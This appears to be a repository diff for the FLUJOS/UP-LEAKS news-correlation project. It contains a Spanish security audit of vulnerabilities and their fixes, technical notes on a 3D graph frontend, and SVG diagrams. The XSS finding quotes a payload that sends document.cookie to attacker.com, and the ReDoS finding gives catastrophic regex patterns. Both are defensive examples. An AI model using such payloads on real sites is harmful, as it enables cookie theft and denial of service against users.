return val.trim();
}
const tema = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
```
---
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
```
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
```
**Fix (1 línea):**
```javascript
// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
```
---
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 9092
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
```javascript
detailPanel.innerHTML = `
<h2>Detalle</h2>
<pre>${content || 'No hay contenido disponible.'}</pre>
`;
```
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
**Fix:**
```javascript
const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);
```
---
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
**Archivo:** `FLUJOS_APP.js` línea 72
```javascript
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
```
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
**Fix:**
```javascript
if (palabraClave) {
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave inválida' });
return;
}
// Escapar metacaracteres regex
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}
```
---
### 🟠 ALTA 3 — Sin rate limiting
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
**Fix:**
```bash
npm install express-rate-limit
```
```javascript
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 60, // 60 peticiones por minuto por IP
standardHeaders: true,
legacyHeaders: false,
}));
```
---
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
---
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
**Fix:**
```javascript
app.use(helmet()); // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
```
---
## Fixes aplicados (2026-04-22)
Todos los ítems críticos y altos han sido corregidos en producción:
| # | Vulnerabilidad | Fix aplicado |
|---|---|---|
| 1 | NoSQL Injection | `sanitizeParam()` + `TEMAS_VALIDOS` whitelist |
| 2 | Puerto 3000 público | `app.listen(port, '127.0.0.1', ...)` |
| 3 | XSS stored innerHTML | `textContent` + DOM API en `output_int_sec.js` y `3dscript_eco-corp.html` |
| 4 | ReDoS palabraClave | Escape de metacaracteres + límite 100 chars |
| 5 | Helmet parcial | `app.use(helmet())` completo + CSP sin `unsafe-inline` |
| 6 | CSRF | Filtro Origin en `/api/` |
| 7 | Body flooding | `bodyParser limit: '10kb'` |
**Pendiente sin fix:** Rate limiting (express-rate-limit no instalado).
---
## Lo que está bien
| Componente | Estado |
|---|---|
| HTTPS con Let's Encrypt | Activo en nginx |
| MongoDB en 127.0.0.1 | No expuesto al exterior |
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
| Helmet completo | Activo desde 2026-04-22 |
| No hay SQL injection | BD es MongoDB, no SQL |
| No directory listing en /wiki-images/ | Express static lo rechaza |
| HTTP → HTTPS redirect | Configurado en nginx |
---
## Configuración nginx relevante
```
/etc/nginx/sites-enabled/upleaks.org
├── HTTP :80 → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
```
El backend Node escucha únicamente en `127.0.0.1:3000`, así que nginx no es un proxy
opcional: es la única vía de entrada.
---
## Orden en que se aplicaron los fixes
| # | Vulnerabilidad | Impacto | Esfuerzo |
|---|---|---|---|
| 1 | NoSQL Injection | CRÍTICO | 10 min |
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
| 4 | ReDoS via palabraClave | ALTO | 10 min |
| 5 | Rate limiting | ALTO | 15 min |
| 6 | CSP unsafe-inline | MEDIO | 30 min |
| 7 | Helmet completo | MEDIO | 5 min |

View file

@ -1,231 +0,0 @@
# Visualización JavaScript — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Directorio:** `FLUJOS/VISUALIZACION/public/`
**Backend:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
---
## Arquitectura general
```
upleaks.org (nginx)
├── / → archivos estáticos desde VISUALIZACION/public/
└── /api/ → proxy a Node.js :3000
└── GET /api/data?tema=...&nodos=...&complejidad=...
└── MongoDB FLUJOS_DATOS
```
El frontend es **vanilla JS sin framework**, todo en ficheros `.js` planos. Cada vista (`glob-war`, `int-sec`, `climate`, etc.) tiene su propio script de grafo 3D.
---
## Dependencias externas (CDN)
```html
<!-- D3.js v6 — simulación de fuerzas -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<!-- Three.js r168 — renderer WebGL, Sprite, TextureLoader -->
<script src="https://unpkg.com/three@0.168/build/three.min.js"></script>
<!-- 3d-force-graph — wrapper de Three.js para grafos de fuerza 3D -->
<script src="https://unpkg.com/3d-force-graph"></script>
```
Three.js debe cargarse ANTES de 3d-force-graph o `THREE` no estará disponible globalmente cuando el grafo intente usarlo para los Sprite.
---
## API — Endpoint único
```
GET /api/data
```
Parámetros de query:
| Param | Tipo | Descripción |
|---|---|---|
| `tema` | string (obligatorio) | Tema principal de la consulta |
| `subtematica` | string | Filtro por subtema |
| `palabraClave` | string | Búsqueda `$regex` en campo `texto` |
| `fechaInicio` | `YYYY-MM-DD` | Rango inicio |
| `fechaFin` | `YYYY-MM-DD` | Rango fin |
| `nodos` | int (máx. 500) | Límite de nodos de texto |
| `complejidad` | float | Similitud mínima (%) para los enlaces |
**Respuesta:**
```json
{
"nodes": [
{ "id": "archivo.txt", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "texto" },
{ "id": "imagen.jpg", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "imagen", "image_url": "/wiki-images/tema/img.jpg", "label": "subtema" }
],
"links": [
{ "source": "archivo_A.txt", "target": "archivo_B.txt", "value": 23.45 }
]
}
```
El backend limita imágenes a `max(3, floor(nodosLimit / 3))` para escalar proporcionalmente con los nodos de texto.
Prefiere `imagenes` (analizadas con Qwen) sobre `imagenes_wiki` (fallback scrapeado).
---
## Estructura de un script de grafo (patrón base)
Todos los scripts (`output_glob_war.js`, `output_int_sec.js`, etc.) siguen el mismo patrón:
```javascript
document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('contenedorContainer');
// 1. Inicializar grafo
const graph = ForceGraph3D()(elem)
.backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
.nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 0 : 2) // 0 = sin esfera para imágenes
.linkColor(() => 'rgba(0,255,80,0.4)')
.onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { /* Sprite para imágenes */ })
.nodeThreeObjectExtend(false)
.forceEngine('d3')
.d3Force('charge', d3.forceManyBody().strength(-10))
.d3Force('link', d3.forceLink().distance(30).strength(1));
// 2. Fetch de datos
async function getData(paramsObj = {}) { ... }
// 3. Renderizar
async function fetchAndRender() { ... }
// 4. Evento del formulario
document.getElementById('paramForm').addEventListener('submit', e => {
e.preventDefault();
fetchAndRender();
});
// 5. Carga inicial
fetchAndRender();
});
```
---
## Nodos de imagen — THREE.Sprite
Los nodos de tipo `imagen` usan un Sprite de Three.js en lugar de la esfera por defecto:
```javascript
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) {
textureCache[url] = new THREE.TextureLoader().load(url);
}
return textureCache[url];
}
// En nodeThreeObject:
.nodeThreeObject(node => {
if (node.type !== 'imagen' || !node.image_url) return null;
const texture = getTexture(node.image_url);
texture.colorSpace = THREE.SRGBColorSpace; // corrección de color
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
sprite.scale.set(14, 9, 1); // proporción 14:9 ≈ 16:9
return sprite;
})
.nodeThreeObjectExtend(false) // false = reemplaza la esfera, no la extiende
```
`getTexture` cachea las texturas para no recargar la misma imagen cada vez que el grafo se actualiza.
`depthWrite: false` evita artefactos de z-fighting entre sprites que se superponen.
---
## Archivos por vista
| Vista | HTML | Script |
|---|---|---|
| Index / Home | `index.html` | ninguno (estático) |
| Glob-War | `glob-war.html` | `output_glob_war_pruebas.js` |
| Int-Sec | `int-sec.html` | `output_int_sec.js` |
| Climate | `climate.html` | `climate.js` / `output_climate_pruebas.js` |
| Eco-Corp | `eco-corp.html` | `output_eco_corp_pruebas.js` |
| Popl-Up | `popl-up.html` | `output_popl_up_pruebas.js` / `output_popl_up.js` |
Los ficheros `*_pruebas.js` son la versión en desarrollo activo (son los referenciados en los HTML). Los sin `_pruebas` son versiones anteriores o de referencia.
---
## Formulario de parámetros (sidebar)
```html
<form id="paramForm">
<input type="date" id="fecha_inicio">
<input type="date" id="fecha_fin">
<input type="number" id="nodos" value="100">
<input type="range" id="complejidad" min="1" max="40" value="20">
<input type="text" id="param1"> <!-- palabraClave -->
<input type="color" id="color1"> <!-- sin uso en backend aún -->
<input type="text" id="param2"> <!-- subtematica -->
<input type="color" id="color2"> <!-- sin uso en backend aún -->
<input type="submit" value="Aplicar">
</form>
```
`color1` y `color2` están en el HTML pero el backend los ignora. Están pendientes de implementar para colorear nodos por grupo.
---
## Filtrado client-side de enlaces
Además del filtro de `complejidad` en el backend (`porcentaje_similitud >= X`), el cliente aplica un segundo filtro eliminando enlaces cuyos nodos no existan en la respuesta:
```javascript
const nodeIds = new Set(data.nodes.map(n => n.id));
data.links = data.links.filter(l => nodeIds.has(l.source) && nodeIds.has(l.target));
```
Esto previene errores de 3d-force-graph cuando llegan enlaces a nodos que no se devolvieron por el límite.
---
## Backend Node.js — FLUJOS_APP.js
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
**Puerto:** 3000 (configurado en `.env`)
**Proceso:** gestionado manualmente (falta configurar como systemd service)
Rutas:
```
GET / → glob-war.html (redirige a index.html)
GET /api/data → endpoint de datos
GET /wiki-images/* → estático desde IMAGENES/output/wiki_images/
GET /* → archivos estáticos desde VISUALIZACION/public/
```
La CSP actual (Helmet) permite `unsafe-inline` en scripts — pendiente de corregir (ver SEGURIDAD.md).
---
## Imágenes wiki — ruta física a URL
```
Disco: $FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
Express: app.use('/wiki-images', express.static('.../wiki_images'))
URL: https://upleaks.org/wiki-images/{tema_slug}/{archivo}
```
El backend construye `image_url` en el API:
```javascript
const WIKI_IMAGES_BASE = '$FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/';
const relativePath = result.image_path.replace(WIKI_IMAGES_BASE, '');
image_url = `/wiki-images/${relativePath}`;
```

Binary file not shown.

Before

Width:  |  Height:  |  Size: 329 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 191 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 127 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 123 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 374 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 124 KiB

View file

@ -1,81 +0,0 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 770" width="1500" height="770" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="Arquitectura de UP-LEAKS: fuentes, workers, base de datos, correlacion, API y visualizacion">
<defs>
<marker id="a1" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.85"/></marker>
<marker id="a2" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.85"/></marker>
<marker id="a3" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ffb020" opacity="0.85"/></marker>
<marker id="a4" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ff5ea8" opacity="0.85"/></marker>
</defs>
<rect width="1500" height="770" fill="#050505"/>
<text x="46" y="54" fill="#39ff14" font-size="27" font-weight="bold" letter-spacing="3">ARQUITECTURA</text>
<text x="46" y="80" fill="#8a938a" font-size="14">De la fuente al grafo. Cada bloque es un proceso independiente; se comunican solo por MongoDB.</text>
<line x1="46" y1="96" x2="1454" y2="96" stroke="#39ff14" stroke-opacity="0.28"/>
<rect x="46" y="130" width="300" height="174" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="62" y="156" fill="#3ad6ff" font-size="13" letter-spacing="1.5">FUENTES</text>
<text x="62" y="190" fill="#8a938a" font-size="12.5">236 feeds RSS</text>
<text x="330" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">5 idiomas</text>
<text x="62" y="220" fill="#8a938a" font-size="12.5">API de Wikipedia</text>
<text x="330" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">28.266</text>
<text x="62" y="250" fill="#8a938a" font-size="12.5">WikiLeaks</text>
<text x="330" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">36.182</text>
<text x="62" y="280" fill="#8a938a" font-size="12.5">buzón de envíos</text>
<text x="330" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">periodistas</text>
<rect x="402" y="130" width="320" height="174" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="418" y="156" fill="#39ff14" font-size="13" letter-spacing="1.5">WORKERS · coconews/</text>
<text x="418" y="190" fill="#8a938a" font-size="12.5">ingestor.py</text>
<text x="706" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">cada 15 min</text>
<text x="418" y="220" fill="#8a938a" font-size="12.5">translator.py</text>
<text x="706" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">→ español</text>
<text x="418" y="250" fill="#8a938a" font-size="12.5">ner.py</text>
<text x="706" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">spaCy</text>
<text x="418" y="280" fill="#8a938a" font-size="12.5">embedder.py</text>
<text x="706" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">MiniLM 384d</text>
<rect x="778" y="130" width="340" height="234" rx="4" fill="#0d0f0d" stroke="#ffb020" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="794" y="156" fill="#ffb020" font-size="13" letter-spacing="1.5">MONGODB · FLUJOS_DATOS</text>
<text x="794" y="190" fill="#8a938a" font-size="12.5">noticias</text>
<text x="1102" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">98.110</text>
<text x="794" y="220" fill="#8a938a" font-size="12.5">wikipedia</text>
<text x="1102" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">28.266</text>
<text x="794" y="250" fill="#8a938a" font-size="12.5">torrents</text>
<text x="1102" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">36.182</text>
<text x="794" y="280" fill="#8a938a" font-size="12.5">embeddings_chunks</text>
<text x="1102" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">531.306</text>
<text x="794" y="310" fill="#8a938a" font-size="12.5">coconews_entidades</text>
<text x="1102" y="310" fill="#5a625a" font-size="11.5" text-anchor="end">76.857</text>
<text x="794" y="340" fill="#8a938a" font-size="12.5">comparaciones</text>
<text x="1102" y="340" fill="#5a625a" font-size="11.5" text-anchor="end">115M</text>
<rect x="1154" y="130" width="300" height="204" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="1170" y="156" fill="#ff5ea8" font-size="13" letter-spacing="1.5">APIs</text>
<text x="1170" y="190" fill="#8a938a" font-size="12.5">FLUJOS_APP.js</text>
<text x="1438" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">:3000</text>
<text x="1170" y="220" fill="#8a938a" font-size="12.5"> /api/data</text>
<text x="1438" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">grafo</text>
<text x="1170" y="250" fill="#8a938a" font-size="12.5"> /api/stats</text>
<text x="1438" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">métricas</text>
<text x="1170" y="280" fill="#8a938a" font-size="12.5"> /api/submit</text>
<text x="1438" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">buzón</text>
<text x="1170" y="310" fill="#8a938a" font-size="12.5">coconews server.js</text>
<text x="1438" y="310" fill="#5a625a" font-size="11.5" text-anchor="end">:3100</text>
<line x1="352" y1="200" x2="392" y2="200" stroke="#3ad6ff" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a2)"/>
<line x1="728" y1="200" x2="768" y2="200" stroke="#39ff14" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a1)"/>
<line x1="1124" y1="200" x2="1144" y2="200" stroke="#ffb020" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a3)"/>
<rect x="46" y="420" width="1072" height="150" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.5"/>
<text x="64" y="448" fill="#39ff14" font-size="13" letter-spacing="1.5">CORRELACIÓN SEMÁNTICA · motor_comparacion.py</text>
<text x="64" y="476" fill="#7cff5a" font-size="12">1. vectorizar</text>
<text x="196" y="476" fill="#8a938a" font-size="12">cada documento y cada fragmento → 384 dimensiones</text>
<text x="64" y="500" fill="#7cff5a" font-size="12">2. coseno</text>
<text x="196" y="500" fill="#8a938a" font-size="12">noticia contra todo el corpus de leaks, reducido por máximo de fragmento</text>
<text x="64" y="524" fill="#7cff5a" font-size="12">3. anti-hub</text>
<text x="196" y="524" fill="#8a938a" font-size="12">score = cos λ·ln(1+grado); descarta los documentos catch-all</text>
<text x="64" y="548" fill="#7cff5a" font-size="12">4. arista</text>
<text x="196" y="548" fill="#8a938a" font-size="12">si pasa el umbral, se escribe el par en `comparaciones`</text>
<rect x="1154" y="420" width="300" height="150" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5"/>
<text x="1170" y="448" fill="#ff5ea8" font-size="13" letter-spacing="1.5">NAVEGADOR</text>
<text x="1170" y="476" fill="#8a938a" font-size="12.5">nginx · upleaks.org</text>
<text x="1170" y="500" fill="#8a938a" font-size="12.5">3d-force-graph + Three.js</text>
<text x="1170" y="524" fill="#8a938a" font-size="12.5">5 vistas temáticas</text>
<text x="1170" y="548" fill="#8a938a" font-size="12.5">semanal / todas</text>
<line x1="1124" y1="495" x2="1144" y2="495" stroke="#ff5ea8" stroke-width="1.6" stroke-opacity="0.6" marker-end="url(#a4)"/>
<text x="46" y="650" fill="#5a625a" font-size="12">Los workers no se llaman entre sí: cada uno marca su trabajo en el documento (`traducido`, `procesado_ner`, `procesado_embedding`) y el siguiente recoge lo pendiente.</text>
<text x="46" y="672" fill="#5a625a" font-size="12">Si uno cae, los demás siguen; al volver, retoma la cola donde estaba. No hay orquestador ni cola de mensajes: el estado vive en la base.</text>
<text x="46" y="750" fill="#5a625a" font-size="11">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
</svg>

Before

Width:  |  Height:  |  Size: 7.6 KiB

View file

@ -1,134 +0,0 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 940" width="1500" height="940" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="Diagrama de los flujos de informacion: de las agencias de noticias a la prensa generalista y la prensa independiente">
<defs>
<linearGradient id="cuello" x1="0" y1="0" x2="0" y2="1"><stop offset="0%" stop-color="#39ff14" stop-opacity="0.55"/><stop offset="100%" stop-color="#39ff14" stop-opacity="0.06"/></linearGradient>
<linearGradient id="indg" x1="0" y1="0" x2="0" y2="1"><stop offset="0%" stop-color="#3ad6ff" stop-opacity="0.45"/><stop offset="100%" stop-color="#3ad6ff" stop-opacity="0.06"/></linearGradient>
<marker id="fl" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.75"/></marker>
<marker id="flc" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.8"/></marker>
</defs>
<rect width="1500" height="940" fill="#050505"/>
<text x="46" y="58" fill="#39ff14" font-size="30" font-weight="bold" letter-spacing="3">DE DÓNDE VIENE LA NOTICIA QUE ACABAS DE LEER</text>
<text x="46" y="86" fill="#8a938a" font-size="15">Cuatro agencias abastecen a casi toda la prensa del mundo. Lo que parece pluralidad suele ser el mismo teletipo repetido.</text>
<line x1="46" y1="102" x2="1454" y2="102" stroke="#39ff14" stroke-opacity="0.28"/>
<text x="46" y="120" fill="#7cff5a" font-size="13" letter-spacing="2">ORIGEN — 4 AGENCIAS</text>
<rect x="114" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
<text x="264" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">REUTERS</text>
<text x="264" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Thomson Reuters — Reino Unido/Canadá</text>
<rect x="438" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
<text x="588" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">AFP</text>
<text x="588" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Agence France-Presse — Francia</text>
<rect x="762" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
<text x="912" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">AP</text>
<text x="912" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Associated Press — EE. UU.</text>
<rect x="1086" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
<text x="1236" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">EFE</text>
<text x="1236" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Agencia EFE — España</text>
<path d="M108,210 L1392,210 L868,302 L632,302 Z" fill="url(#cuello)"/>
<line x1="264" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
<line x1="588" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
<line x1="912" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
<line x1="1236" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
<text x="750" y="328" fill="#39ff14" font-size="15" font-weight="bold" text-anchor="middle" letter-spacing="1">EL MISMO TELETIPO</text>
<text x="750" y="348" fill="#8a938a" font-size="12" text-anchor="middle">un despacho, un ángulo, un titular</text>
<rect x="51" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="110" y="441" fill="#8a938a" font-size="12" text-anchor="middle">BBC</text>
<line x1="750" y1="358" x2="110" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
<rect x="179" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="238" y="441" fill="#8a938a" font-size="12" text-anchor="middle">The Guardian</text>
<rect x="307" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="366" y="441" fill="#8a938a" font-size="12" text-anchor="middle">CNN</text>
<rect x="435" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="494" y="441" fill="#8a938a" font-size="12" text-anchor="middle">El País</text>
<line x1="750" y1="358" x2="494" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
<rect x="563" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="622" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Le Monde</text>
<rect x="691" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="750" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Der Spiegel</text>
<rect x="819" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="878" y="441" fill="#8a938a" font-size="12" text-anchor="middle">La Vanguardia</text>
<rect x="947" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1006" y="441" fill="#8a938a" font-size="12" text-anchor="middle">The Times</text>
<line x1="750" y1="358" x2="1006" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
<rect x="1075" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1134" y="441" fill="#8a938a" font-size="12" text-anchor="middle">ABC</text>
<rect x="1203" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1262" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Corriere</text>
<rect x="1331" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1390" y="441" fill="#8a938a" font-size="12" text-anchor="middle">El Mundo</text>
<line x1="750" y1="358" x2="1390" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
<rect x="51" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="110" y="491" fill="#8a938a" font-size="12" text-anchor="middle">FAZ</text>
<rect x="179" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="238" y="491" fill="#8a938a" font-size="12" text-anchor="middle">NYT</text>
<rect x="307" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="366" y="491" fill="#8a938a" font-size="12" text-anchor="middle">WaPo</text>
<rect x="435" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="494" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Sky News</text>
<rect x="563" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="622" y="491" fill="#8a938a" font-size="12" text-anchor="middle">RTVE</text>
<rect x="691" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="750" y="491" fill="#8a938a" font-size="12" text-anchor="middle">20minutos</text>
<rect x="819" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="878" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Antena 3</text>
<rect x="947" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1006" y="491" fill="#8a938a" font-size="12" text-anchor="middle">La Sexta</text>
<rect x="1075" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1134" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Yahoo News</text>
<rect x="1203" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1262" y="491" fill="#8a938a" font-size="12" text-anchor="middle">MSN</text>
<rect x="1331" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
<text x="1390" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Google News</text>
<rect x="40" y="376" width="439" height="26" fill="#050505"/>
<text x="46" y="395" fill="#7cff5a" font-size="13" letter-spacing="2">REPLICACIÓN — CIENTOS DE CABECERAS, UNA SOLA FUENTE</text>
<text x="750" y="538" fill="#5a625a" font-size="12" text-anchor="middle">… y varios miles más. Cambia el logotipo, no el contenido.</text>
<line x1="46" y1="562" x2="1454" y2="562" stroke="#39ff14" stroke-opacity="0.22" stroke-dasharray="5 6"/>
